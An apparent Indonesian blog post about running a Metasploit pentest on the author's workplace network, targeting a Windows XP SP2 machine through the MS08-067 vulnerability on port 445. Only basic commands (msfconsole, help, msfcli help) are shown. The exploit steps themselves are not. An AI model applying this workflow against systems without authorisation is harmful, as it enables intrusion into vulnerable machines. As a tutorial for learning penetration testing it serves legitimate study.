Posting ini kubuat sebagai salah satu contoh audit security halah.. pentest aja yah bahasanya di network lokal tempatku bekerja. Ndak pake kata-kata hacking lah.. Wong cuman manfaatin tools yang disebar di inet kok disebut hacking :p. Soalnya banyak kale yang test metasploit seperti ini dan dibilang hacking bla-bla-bla. :-p. Go to side corner lamerzz... silahkan coba sendiri ya. cara yang paling mudah sebenarnya bisa menggunakan OS BackTrack, tapi disini saya menggunakan ubuntu yang telah diinstall metasploit. Langkah instalasinya bisa dilihat disini.
Metasploit : msfconsole
Lets go.. pertama kali kita coba dengan testing manual menggunakan metasploit console (msfconsole) yang mana test ini dilakukan pada single mesin windows xp sp2 dengan melakukan percoban exploit ms windows MS08-067 yaitu vulner pada microsoft windows di port 445 beberapa waktu yang lalu yang sempet bikin microsoft kelimpungan :D . Dari terminal console ketik perintah berikut, seperti pada gambar dibawah:
$ msfconsole
- msf > help

Dari langkah-langkah diatas… sebenarnya bisa dilakukan exploitasi dengan menggunakan satu perintah dari console, dan diakomodir dengan menggunakan msfcli yang notabene sebenarnya adalah metasploit command line interface.
Untuk melihat manual perintahnya bisa dilihat dari help maupun
- bash-4.1$ msfcli –help
[*] Please wait while we load the module tree...

Implementasi yang sama juga bisa dilakukan pada metasploit GUI (msfgui) dan metasploit berbasis web (msfweb). Silahkan dicoba sendiri karena saya malas upload gambarnya :-p. Dari teknik dasar ini silahkan dikembangkan dengan teknik-teknik yang lain.
